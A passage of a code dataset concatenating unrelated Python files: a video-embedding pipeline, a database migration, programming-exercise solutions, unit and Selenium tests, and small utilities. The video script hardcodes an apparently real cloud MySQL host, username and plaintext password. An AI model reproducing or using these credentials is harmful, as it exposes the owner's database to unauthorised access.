\"image_\" + flag + \"/\"\n        if not os.path.exists(img_path):  # 如果文件目录不存在则创建目录\n            os.makedirs(img_path)\n        # extract_frames_from_video_simpleness(video_path_, img_path_, 25)\n        # print(\"\\n\", \"extract_effective_frame_from_video\")\n        extract_effective_frame_from_video(video_path, img_path)\n        # 从帧中获取向量\n        # print(\"extract_vec_from_image\")\n        video_vec = extract_vec_from_image(img_path)\n        # 删除使用完的文件\n        shutil.rmtree(video_path_dir)  # 删除文件夹和其中的文件\n        shutil.rmtree(img_path)  # 删除文件夹和其中的文件\n\n        return video_vec\n\n\ndef get_data_ori_df():\n    start_time = '2022-02-01 00:00:00'\n    end_time = '2022-03-20 00:00:00'\n    host = 'rm-gw8lgrwcb14316o05.mysql.germany.rds.aliyuncs.com'\n    db = pymysql.connect(host=host, user='eagleee', password='Fyt98Zi76rtsW2')\n    cursor = db.cursor()\n    start_time = int(time.mktime(time.strptime(start_time, \"%Y-%m-%d %H:%M:%S\"))) * 1000\n    end_time = int(time.mktime(time.strptime(end_time, \"%Y-%m-%d %H:%M:%S\"))) * 1000\n    sql = '''\n        select *\n        from scooper_article.video_urls\n    '''.format(start_time, end_time)\n    print(sql)\n    cursor.execute(sql)\n    # 拿到表头\n    des = cursor.description\n    title = [each[0] for each in des]\n    print(title)\n    # 获取所有记录列表\n    results = cursor.fetchall()\n    # 保存成dataframe\n    df_ = pd.DataFrame(results, columns=title)\n    print(df_.head())\n    return df_\n\n\ndef deal_offline():\n    news_id_set_do = []\n    with open(\"/root/video_embedding/src/video_vec.txt\", 'r') as f:\n        tmp_line = f.readline()\n        while tmp_line != '':\n            row = tmp_line.split('\\t')\n            tmp_line = f.readline()  # 一行行的迭代读取数据\n            news_id = row[0]\n            news_id_set_do.append(news_id)\n\n    news_id_set_do = set(news_id_set_do)\n    print(\"news_id_set_do ======= \", len(news_id_set_do))\n\n    url_ori_df = get_data_ori_df()\n    video_model = ExtractVecFromVideo()\n    with open(\"/root/video_embedding/src/video_vec.txt\", 'a') as f:\n        for row in url_ori_df.iterrows():\n            try:\n                news_id_ = row[1][0]\n                url_ = row[1][1]\n                if int(str(news_id_)[-1]) % 3 == 2 and news_id_ not in news_id_set_do:\n                    vec = video_model.extract_vec_from_video_url(url_)\n                    item = str(news_id_) + \"\\t\" + \",\".join([str(x) for x in vec])\n                    f.write(item + '\\n')\n                    print(\"news_id: \", news_id_, \"time: \", time.time())\n            except Exception as e:\n                pass\n\n\nif __name__ == '__main__':\n    \"\"\"\n\n    \"\"\"\n    # deal_offline()\n    pass\n\n    news_id_ = \"9\"\n    for i in range(10):\n        print(i % 3)\n        if int(news_id_[-1]) % 3 == 0:\n            print(\"news_id_\")\n\n    url_0 = \"https://o.scooper.news/media/origin/20220323/51f114d94f54a8d8ae741c2fa05acfd8.mp4\"\n    url_1 = \"https://o.scooper.news/video/20220310/fcd6bd0bf1cfb696b8be7b07e0cae235.mp4\"\n\n    for i in [url_0, url_1]:\n        print(i)\n        print(ExtractVecFromVideo().extract_vec_from_video_url(i))\n\n    ## linux 请求服务获取向量\n    # curl -X POST http://172.20.17.51:6009/img_vec -H 'content-type: application/json' -d '{\"id\":25094182, \"url\":\"https://scooper-origin-video.oss-eu-central-1-internal.aliyuncs.com/media/origin/20220323/51f114d94f54a8d8ae741c2fa05acfd8.mp4\"}'\n\n    ## Python 请求服务获取向量\n    # os.system(\"curl -X POST http://172.20.17.51:6009/img_vec -H 'content-type: application/json' -d '{\\\"id\\\":25094182, \\\"url\\\":\\\"https://scooper-origin-video.oss-eu-central-1-internal.aliyuncs.com/media/origin/20220323/51f114d94f54a8d8ae741c2fa05acfd8.mp4\\\"}'\")\n\n    ## Python 中post请求服务获取向量\n    # import requests\n    # headers = {'content-type': 'application/json'}\n    # url = 'http://172.20.17.51:6009/img_vec'\n    # data = '{\"id\":25094182, \"url\":\"https://scooper-origin-video.oss-eu-central-1-internal.aliyuncs.com/media/origin/20220323/51f114d94f54a8d8ae741c2fa05acfd8.mp4\"}'\n    # response = requests.post(url, headers=headers, data=data).text\n    # response\n    # type(response)\n\n    #\n    #\n    # import requests\n    # headers = {'content-type': 'application/json'}\n    # url = 'http://172.20.16.35:7022/s/dts/save-video-vec'\n    # data = '{\"news_id\":2511, \"video_vec\":[123.0,123.0,123.0,234.0,2323.0,123]}'\n    # response = requests.post(url, headers=headers, data=data)\n    #\n    #\n    #         url = \"http://172.20.16.35:7022/s/dts/save-video-vec\"\n    #         data = '{\"key\":\"value\"}'\n    #         res = requests.post(url=url, data=data)  # 字符串格式\n    #         print(res.text)\n    #\n    # path = \"data/video_ori.csv\"\n    # data = pd.read_csv(path, sep=',')\n    # print(data)\n    # print(data[\"article_id\"].head(3))\n    #\n    # i = 0\n    # with open(\"data/video_vec.txt\", 'a') as f:\n    #     for index, row in data.iterrows():\n    #         i += 1\n    #         if i < 2776:   # 2776 13228304\n    #             continue\n    #         try:\n    #             s = time.time()\n    #             id, article_id, url_ = row[0], row[1], \"https\" + row[2] + \".mp4\"\n    #             print(i, id, url_)\n    #             video_vec_ = ExtractVecFromVideo().extract_vec_from_video_url(url_)\n    #             item = str(id) + \"\\t\" + str(article_id) + \"\\t\" + \",\".join([str(x) for x in video_vec_])\n    #             f.write(item + '\\n')\n    #             e_2 = time.time()\n    #             print(str(e_2-s).split(\".\")[0] + \"s\", item)\n    #             print()\n    #         except Exception as e:\n    #             pass\n","sub_path":"trrassion/feature/video_vec/online_service/video_vec.py","file_name":"video_vec.py","file_ext":"py","file_size_in_byte":17134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"371659672","text":"\"\"\"empty message\n\nRevision ID: f700386dabdc\nRevises: e09c34e4c892\nCreate Date: 2019-06-02 12:41:20.462118\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'f700386dabdc'\ndown_revision = 'e09c34e4c892'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('ticket_addon',\n    sa.Column('object_id', sa.Integer(), nullable=False),\n    sa.Column('slug', sa.Unicode(length=120), nullable=False),\n    sa.Column('price', sa.Integer(), nullable=False),\n    sa.Column('cancelled', sa.Boolean(), nullable=False),\n    sa.Column('ticket_id', sa.Integer(), nullable=False),\n    sa.ForeignKeyConstraint(['ticket_id'], [u'ticket.object_id'], ),\n    sa.PrimaryKeyConstraint('object_id')\n    )\n    ### end Alembic commands ###\n\n\ndef downgrade():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('ticket_addon')\n    ### end Alembic commands ###\n","sub_path":"migrations/versions/f700386dabdc_.py","file_name":"f700386dabdc_.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"29959407","text":"def main():\n    import sys\n\n    def input(): return sys.stdin.readline().rstrip()\n    \n    n = int(input())\n    a = list(map(int, input().split()))\n    rate = [0]*8\n    cnt = 0\n    for x in a:\n        r = x//400\n        if r > 7:\n            cnt += 1\n        elif not rate[r]:\n            rate[r] = 1\n    s = sum(rate)\n    mins = max(s,1)\n    maxs = s+cnt\n    print(mins, maxs)        \n        \n            \n\n\n\nif __name__ == '__main__':\n    main()","sub_path":"Python_codes/p03695/s844654976.py","file_name":"s844654976.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"516611964","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution:\n    def buildTree(self, preorder: List[int], inorder: List[int]) -> TreeNode:\n        '''\n        #第一种方法：递归\n        if len(inorder) == 0:\n            return None\n        root = TreeNode(preorder[0])\n        mid = inorder.index(preorder[0])\n        root.left = self.buildTree(preorder[1:mid + 1], inorder[:mid])\n        root.right = self.buildTree(preorder[mid + 1:], inorder[mid + 1:])\n        \n        return root\n        '''\n        '''\n        #第二种方法：递归\n        def buildTreeHelper(pre_left, pre_right, in_left, in_right):\n            if pre_left > pre_right:\n                return None\n\n            preroot = pre_left\n            root = TreeNode(preorder[preroot])\n\n            #获取根节点在中序遍历列表中的下标\n            inroot = index[preorder[preroot]]\n            size_of_left_subtree = inroot - in_left\n            #递归构造左右子树\n            root.left = buildTreeHelper(pre_left + 1, pre_left + size_of_left_subtree, in_left, inroot - 1)\n            root.right = buildTreeHelper(pre_left + size_of_left_subtree + 1, pre_right, inroot + 1, in_right)\n\n            return root\n\n        n = len(preorder)\n        #字典生成式\n        index = {element:i for i, element in enumerate(inorder) }\n        return buildTreeHelper(0, n-1, 0, n-1)\n        '''\n        #第三种方法\n        def build(stop):\n            if inorder and inorder[-1] != stop:\n                root = TreeNode(preorder.pop())\n                root.left = build(root.val)\n                inorder.pop()\n                root.right = build(stop)\n                return root\n\n        preorder.reverse()\n        inorder.reverse()\n        return build(None)","sub_path":"Week_03/Construct_Binary_Tree_form_Preorder_and_Inorder_Traversal.py","file_name":"Construct_Binary_Tree_form_Preorder_and_Inorder_Traversal.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"84779386","text":"################################################################################\n# Copyright 2016 Martin Grap\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n################################################################################\n\n## @package rotorrandomtest contains code that allows to test the RotorRandom class contained in the rotorrandom module.\n#   \n# \\file rotorrandomtest.py\n# \\brief rotorrandomtest contains code that allows to test the RotorRandom class contained in the rotorrandom module.\n#\n\nimport pyrmsk2.tlvobject as tlvobject\nimport simpletest\nimport pyrmsk2.rotorrandom as rotorrandom\n\n## \\brief This class implements tests which perform basic consistency checks of the data returned by rotorrandom.Random objects. It\n#         does not test in any way whether the data returned is really random. \n#        \nclass RandomTest(simpletest.SimpleTest):\n    ## \\brief Constructor. \n    #\n    # \\param [name] Is a string. It specifies an explanatory text which serves as the name of the test which is to\n    #        be performed.   \n    #   \n    # \\param [alphabet] Is a string. It has to specify the characters that make up an alphabet which is used to test\n    #        the generation of random strings and permutations. \n    #\n    def __init__(self, name, alphabet):\n        super().__init__(name)\n        self._alpha = alphabet\n    \n    ## \\brief Performs the test.\n    #\n    #  \\returns A boolean. A return value of True means that the test was successfull.\n    #    \n    def test(self):\n        result = super().test()\n        \n        with tlvobject.TlvServer(server_address='sock_fjsdhfjshdkfjh') as server, rotorrandom.RotorRandom(self._alpha, server.address) as rand_obj:\n            try:\n                rand_string = rand_obj.get_rand_string(len(self._alpha))\n                \n                # Verify length of retrieved string\n                if not len(rand_string) == len(self._alpha):\n                    self.append_note(\"Random data has wrong length: {} instead of {}\".format(len(rand_string), len(self._alpha)))\n                    result = False\n                \n                self.append_note(\"Retrieved random string: {}\".format(rand_string))\n\n                # Verify that retrieved string only contains characters from self._alpha\n                for i in rand_string:\n                    if not(i in self._alpha):\n                        self.append_note('Illegal string value: {}'.format(i))\n                        result = False\n\n                rand_permutation = rand_obj.get_rand_permutation()\n                \n                # Verify that retrieved permutation contains exactly len(self._alpha) elements\n                if not len(rand_permutation) == len(self._alpha):\n                    self.append_note(\"Random permutation has wrong length: {} instead of {}\".format(len(rand_permutation), len(self._alpha)))\n                    result = False\n                \n                self.append_note(\"Retrieved random permutation: {}\".format(rand_permutation))\n                \n                # Verify that retrieved permutation only contains values between 0 and len(self._alpha) - 1\n                perm_test = set()\n                for i in rand_permutation:\n                    perm_test.add(i)\n                    if not((i >= 0) and (i < len(self._alpha))):\n                        self.append_note('Illegal permutation value: {}'.format(i))\n                        result = False                        \n                \n                # Verify that retrieved permutation contains each possible value exactly once\n                if len(perm_test) != len(self._alpha):                    \n                    self.append_note('Wrong number of unique elements in permutation: {} instead of {}'.format(len(perm_test), len(self._alpha)))\n                    result = False\n                \n            except:\n                self.append_note(\"EXCEPTION!!!!\")\n                result = False                \n                \n        return result\n\n\n## \\brief Returns a rotorrandom.RandomTest object that allows to perform all the tests defined in this module.\n#\n#  \\returns A RandomTest object.\n#                \ndef get_module_test():\n    return RandomTest('random', 'abcdefghijklmnopqrstuvwxyz')\n\n## \\brief Performs all the tests defined in this module.\n#\n#  \\returns Nothing.\n#                \ndef execute_tests(num_iterations):\n    tests = get_module_test()\n    test_result = tests.test()\n    tests.print_notes()\n","sub_path":"rotorrandomtest.py","file_name":"rotorrandomtest.py","file_ext":"py","file_size_in_byte":4976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"256582178","text":"import time, os\n\nfrom django.contrib.staticfiles.testing import StaticLiveServerTestCase\nfrom selenium import webdriver\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.webdriver.common.keys import Keys\n\nMAX_WAIT = 1\n\nclass NewVisitorTest(StaticLiveServerTestCase):\n\n    def setUp(self):\n        \"\"\"\n        Actions before each test.\n        \"\"\"\n        self.brow = webdriver.Firefox()\n        staging_server = os.environ.get('STAGING_SERVER')\n        if staging_server:\n            self.live_server_url = \"http://\" + staging_server\n\n    def wait_for_row_in_list_table(self, row_text):\n        start_time = time.time()\n        while True:\n            try:    \n                table = self.brow.find_element_by_id('id_list_table')\n                rows = table.find_elements_by_tag_name('tr')\n                self.assertIn(row_text, [r.text for r in rows])\n                return\n            except (AssertionError, WebDriverException) as e:\n                if time.time() - start_time > MAX_WAIT:\n                    raise e\n                time.sleep(0.5)\n\n    def tearDown(self):\n        \"\"\"\n        Actions after each test.\n        \"\"\"\n        self.brow.quit()\n\n    def test_can_start_a_list_and_retrieve_it_later_one_user(self):\n        \n        # Edith has heard about a cool new online to-do app. She goes\n        # to check out its homepage\n        self.brow.get(self.live_server_url)\n\n        # She notices the page title and header mention to-do lists\n        self.assertIn('To-Do', self.brow.title)\n        header = self.brow.find_element_by_tag_name('h1').text\n        self.assertIn('Start a new to-do list !', header)\n\n        # She is invited to enter a to-do item straight away\n        inputbox = self.brow.find_element_by_id('id_new_item')\n        self.assertEqual(\n            inputbox.get_attribute('placeholder'),\n            'Enter a to-do item'\n        )\n\n        # She types \"Buy peacock feathers\" into a text box (Edith's hobby\n        # is tying fly-fishing lures)\n        inputbox = self.brow.find_element_by_id('id_new_item')\n        inputbox.send_keys(\"Buy peacock feathers\")\n\n        # When she hits enter, the page updates, and now the page lists\n        # \"1: Buy peacock feathers\" as an item in a to-do list\n        inputbox.send_keys(Keys.ENTER)\n        self.wait_for_row_in_list_table('1: Buy peacock feathers')      \n\n        # There is still a text box inviting her to add another item. She\n        # enters \"Use peacock feathers to make a fly\" (Edith is very methodical)\n        inputbox = self.brow.find_element_by_id('id_new_item')\n        inputbox.send_keys(\"Use peacock feathers to make a fly\")\n        inputbox.send_keys(Keys.ENTER)\n\n        # The page updates again, and now shows both items on her list\n        self.wait_for_row_in_list_table(\"1: Buy peacock feathers\")\n        self.wait_for_row_in_list_table(\"2: Use peacock feathers to make a fly\")\n        \n        # Edith wonders whether the site will remember her list. Then she sees\n        # that the site has generated a unique URL for her -- there is some\n        # explanatory text to that effect.\n        # self.fail('Fini le test !')\n        # She visits that URL - her to-do list is still there.\n\n\n        # Satisfied, she goes back to sleep\n    \n    def test_multiple_users_can_start_lists_at_different_urls(self):\n        # Edith start a new todo list\n        self.brow.get(self.live_server_url)\n        inputbox = self.brow.find_element_by_id('id_new_item')\n        inputbox.send_keys('Buy peacock feathers')\n        inputbox.send_keys(Keys.ENTER)\n        self.wait_for_row_in_list_table('1: Buy peacock feathers')\n\n        # She notices that the list has a unique URL\n        edith_list_url = self.brow.current_url\n        self.assertRegex(edith_list_url, '/lists/.+')\n\n        # Now a new user comes along the site (Francis)\n\n        ## We use a new browser session to make \n        ## sure that no informations of edith's\n        ## is coming throught from cookies etc ...\n        self.brow.quit()\n        self.brow = webdriver.Firefox()\n\n        # Francis visits the home page.  There is no sign of Edith's\n        # list\n        self.brow.get(self.live_server_url)\n        page_text = self.brow.find_element_by_tag_name('body').text\n        self.assertNotIn('Buy peacock feathers', page_text)\n        self.assertNotIn('Use peacock feathers to make a fly', page_text)\n\n        # Francis starts a new list by entering a new item. He\n        # is less interesting than Edith...\n        inputbox = self.brow.find_element_by_id('id_new_item')\n        inputbox.send_keys('Buy milk')\n        inputbox.send_keys(Keys.ENTER)\n        self.wait_for_row_in_list_table('1: Buy milk')\n\n        # Francis gets his own URL\n        francis_list_url = self.brow.current_url\n        self.assertRegex(francis_list_url, '/lists/.+')\n        self.assertNotEqual(francis_list_url, edith_list_url)\n        \n        # Again, there is no trace of Edith's list\n        ## POST of francis could send post data of edith ?\n        page_text = self.brow.find_element_by_tag_name('body').text\n        self.assertNotIn('Buy peacock feathers', page_text)\n        self.assertNotIn('Use peacock feathers to make a fly', page_text)\n        self.assertIn('Buy milk', page_text)\n\n    def test_layout_and_styling(self):\n        # Edith goes to the home page she notice a nicely centered inputbox\n        self.brow.get(self.live_server_url)\n        ## define the window's size in order to check if\n        ## the inputbox is centered\n        self.brow.set_window_size(1024, 768)\n        inputbox = self.brow.find_element_by_id('id_new_item')\n        ## Centered ?\n        self.assertAlmostEqual(\n            inputbox.location['x'] + inputbox.size['width'] / 2,\n            512,\n            delta=10\n        )\n\n        # Then she adds an item to the inputbox and press Enter to validate...\n        inputbox.send_keys('testing item')\n        inputbox.send_keys(Keys.ENTER) ## => add item and create list via POST \n                                       ## at /lists/new \n                                       ## then redirect to /lists/<list_id>/\n        # She sees her item added to the page and the inputbox is still centered !\n        self.wait_for_row_in_list_table('1: testing item')\n        ## new inputbox var because it a new page\n        inputbox = self.brow.find_element_by_id('id_new_item')\n        self.assertAlmostEqual(\n            inputbox.location['x'] + inputbox.size['width'] / 2,\n            512,\n            delta=10\n        )\n","sub_path":"functional_tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"474700953","text":"\n\n#calss header\nclass _TIMEWORN():\n\tdef __init__(self,): \n\t\tself.name = \"TIMEWORN\"\n\t\tself.definitions = [u'(no longer of interest or value because of) having been used a lot over a long period of time: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_timeworn.py","file_name":"_timeworn.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"423100889","text":"# Copyright (c) 2016-2017 Adobe Systems Incorporated.  All rights reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport types\nimport unittest\n\nimport mock\nimport tests.helper\nimport user_sync.identity_type\nfrom user_sync.error import AssertionException\nfrom user_sync.config import ConfigLoader\nfrom user_sync.config import ObjectConfig\n\n\nclass ConfigLoaderTest(unittest.TestCase):\n    @mock.patch('os.path.isfile')\n    @mock.patch('user_sync.config.ConfigFileLoader.load_from_yaml')\n    def setUp(self, mock_yaml, mock_isfile):\n        mock_isfile.return_value = True\n        self.conf_load = ConfigLoader({'options': 'testOpt'})\n\n    @mock.patch('user_sync.config.DictConfig.get_value')\n    @mock.patch('user_sync.config.ConfigLoader.get_dict_from_sources')\n    @mock.patch('user_sync.config.ConfigLoader.create_dashboard_options')\n    def test_get_dashboard_options_creates_dashboard(self, mock_create_dash, mock_dict, mock_value):\n        ret_value = 'create dash'\n        mock_create_dash.return_value = ret_value\n        self.assertEquals(self.conf_load.get_dashboard_options_for_owning(), ret_value,\n                          'Returned with created dashboard')\n        self.assertEquals(mock_create_dash.call_count, 1, 'Get dashboard options calls create dashboard options')\n\n    @mock.patch('user_sync.config.ConfigLoader.get_directory_connector_configs')\n    @mock.patch('user_sync.config.ConfigLoader.get_dict_from_sources')\n    def test_get_directory_connector_options(self, mock_dict, mock_connector_conf):\n        self.conf_load.get_directory_connector_options('dummy_connector')\n        self.assertEquals(mock_dict.call_count, 3, 'connector options, source filters and credentials are loaded')\n\n    @mock.patch('user_sync.config.DictConfig.get_dict_config')\n    @mock.patch('user_sync.config.ConfigLoader.create_dashboard_options')\n    @mock.patch('glob.glob')\n    @mock.patch('user_sync.config.ConfigLoader.parse_string')\n    def test_get_dashboard_options_for_accessors(self, mock_parse, mock_glob, mock_create_dash, mock_get_dict):\n        mock_create_dash.return_value = {'create_dash'}\n        mock_glob.return_value = {''}\n        mock_parse.return_value = {'organization_name': 'testOrgName'}\n\n        self.assertEquals(self.conf_load.get_dashboard_options_for_accessors(), {'testOrgName': set(['create_dash'])},\n                          'We return with accessor option in the expected format')\n        self.assertEquals(mock_create_dash.call_count, 1, 'create dashboard options was called')\n\n    def test_get_dict_from_sources_dict(self):\n        self.assertEquals(self.conf_load.get_dict_from_sources([{'test1': 'test2'}, {'test1': 'test3'}], ''),\n                          {'test1': 'test3'}, 'the two dictionaries are combined')\n\n    @mock.patch('os.path.isfile')\n    def test_get_dict_from_sources_str_not_found(self, mock_isfile):\n        # AssertionException when file is not found\n        mock_isfile.return_value = False\n        self.assertRaises(AssertionException, lambda: self.conf_load.get_dict_from_sources(['test'], ''))\n\n    @mock.patch('os.path.isfile')\n    def test_get_dict_from_sources_str_found(self, mock_isfile):\n        # IOError when file is found, but not loaded by load_from_yaml\n        mock_isfile.return_value = True\n        self.assertRaises(AssertionException, lambda: self.conf_load.get_dict_from_sources(['test'], ''))\n\n    @mock.patch('user_sync.config.ConfigLoader.get_dict_from_sources')\n    def test_create_dashboard_options(self, mock_dict):\n        mock_dict.side_effect = [{'enterprise': {'org_id': 'test1'}}, 'test2']\n        self.assertEquals(self.conf_load.create_dashboard_options('', ''), {'enterprise': 'test2'},\n                          'enterprise section is processed')\n\n    @mock.patch('user_sync.config.DictConfig.get_string')\n    @mock.patch('user_sync.config.DictConfig.get_dict_config')\n    @mock.patch('user_sync.config.DictConfig.get_list_config')\n    @mock.patch('user_sync.identity_type.parse_identity_type')\n    def test_get_rule_options(self, mock_id_type,mock_get_dict,mock_get_list,mock_get_string):\n        mock_id_type.return_value = 'new_acc'\n        mock_get_dict.return_value = tests.helper.MockGetString()\n        mock_get_list.return_value = tests.helper.MockGetString()\n        options = self.conf_load.get_rule_options()\n        expected = {\n            'after_mapping_hook': None,\n            'default_country_code': 'test',\n            'delete_strays': False,\n            'directory_group_filter': None,\n            'directory_group_mapped': False,\n            'disentitle_strays': False,\n            'exclude_groups': [],\n            'exclude_identity_types': [],\n            'exclude_users': [],\n            'extended_attributes': None,\n            'manage_groups': False,\n            'max_removed_users': 1,\n            'max_unmatched_users': 1,\n            'new_account_type': 'new_acc',\n            'remove_strays': False,\n            'stray_key_map': None,\n            'stray_list_output_path': None,\n            'update_user_info': True,\n            'username_filter_regex': None,\n        }\n        self.assertEquals(options,\n                          expected,\n                          'rule options are returned')\n\n    def test_parse_string(self):\n        self.assertEquals(self.conf_load.parse_string('{1}{2}{3}', 'abcde'),\n                          {'1': 'abc', '3': 'e', '2': 'd'}, 'test parsing 1')\n        self.assertEquals(self.conf_load.parse_string('{1}', 'abcde'),{'1': 'abcde'}, 'test parsing 2')\n\n    @mock.patch('user_sync.config.ConfigLoader.get_directory_connector_configs')\n    def test_check_unused_config_keys_unused(self,mock_connector_conf):\n        self.conf_load.options = {'directory_source_filters': {'filter':'test1'}}\n        self.conf_load.directory_source_filters_accessed = set({'another_filter':'test2'})\n        # Assertion Exception is raised for unused keys\n        self.assertRaises(AssertionException,lambda : self.conf_load.check_unused_config_keys())\n\n    @mock.patch('user_sync.config.ConfigLoader.get_directory_connector_configs')\n    def test_check_unused_config_keys_used(self,mock_connector_conf):\n        self.conf_load.options = {'directory_source_filters': {'filter':'test1'}}\n        self.conf_load.directory_source_filters_accessed = set({'filter':'test2'})\n\n        self.assertEquals(self.conf_load.check_unused_config_keys(),None,'no unused keys')\n\n\nclass ObjectConfigTest(unittest.TestCase):\n    def setUp(self):\n        self.object_conf = ObjectConfig(self)\n\n    def test_describe_types(self):\n        self.assertEquals(self.object_conf.describe_types(types.StringTypes), ['str'], 'strings are handeled')\n        self.assertEquals(self.object_conf.describe_types(types.BooleanType), ['bool'], 'other types are handeled')\n","sub_path":"tests/config_test.py","file_name":"config_test.py","file_ext":"py","file_size_in_byte":7799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"505925975","text":"def check_armstrong():\n\tnum = int(input(\"Enter the number to check armstrong or not: \"))\n\tif (num < 0):\n\t\treturn \"Enter valid number\"\n\tpower = len(str(num))\n\tsum = 0\n\ttemp = num\n\twhile temp > 0:\n\t\tnums = temp % 10\n\t\tsum += nums ** power\n\t\ttemp //= 10\n\tif num == sum:\n\t\treturn \"Is armstrong number\"\n\telse:\n\t\treturn \"Is not an armstrong number\"\n","sub_path":"Programs/armstrong.py","file_name":"armstrong.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"346101220","text":"class Solution:\n    def recurse (self,A, k, r):\n        if k == 0:\n            self.result.append(r)\n            return\n        else:\n            for i in range(len(A)):\n                x = r+[A[i]]\n                self.recurse(A[i+1:], k-1, x)\n                \n    def combine(self, n: int, k: int) -> List[List[int]]:\n        self.result = []\n        if n == 0:\n            return ['']\n        \n        self.recurse(list(range(1, n+1)), k, [] )\n        \n        return self.result\n        ","sub_path":"week4/Combinatorial/combinations.py","file_name":"combinations.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"24085956","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Sep  3 12:39:44 2020\r\n\r\n@author: Rishab\r\n\"\"\"\r\nimport math as m\r\nimport matplotlib.pyplot as plt\r\ndef distancebetn(p1,p2):\r\n    return m.sqrt((a[0]-a[1])**2 + (b[0]-b[1])**2)\r\n\r\na = [7,6]\r\nb = [15/2,0] #The point equidistant from a and c. Obtained from calculation\r\nc = [3,4]\r\nd = distancebetn(a,b)\r\ne = distancebetn(b,c)\r\nif(d==e):\r\n    print(\"b is equidistant from a and c and the values of ab and bc are: {} and {}\".format(d,e))\r\nelse:\r\n    print(\"b is not equidistant from a and c and the values of ab and bc are: \",d,e)\r\n    \r\nplt.plot(a[0],a[1],'o')\r\nplt.text(7 ,6, 'A')\r\nplt.plot(b[0] ,b[1] , 'o')\r\nplt.text(7.5, 0 , 'B')\r\nplt.plot(c[0],c[1],'o')\r\nplt.text(3, 4 , 'C')\r\n\r\n\r\nx=[7 ,15/2 ,3]\r\ny=[6,  0, 4]\r\n\r\nplt.plot(x,y, 'ro')\r\n\r\ndef connect(x,y,p1,p2):\r\n    x1, x2 = x[p1], x[p2]\r\n    y1, y2 = y[p1], y[p2]\r\n    plt.plot([x1,x2],[y1,y2],'k-')\r\n\r\nconnect(x,y,0,1)\r\nconnect(x,y,1,2)\r\n\r\nplt.axis('equal')\r\nplt.show()\r\n","sub_path":"Assignments/Assignment1/Assignment1.py","file_name":"Assignment1.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
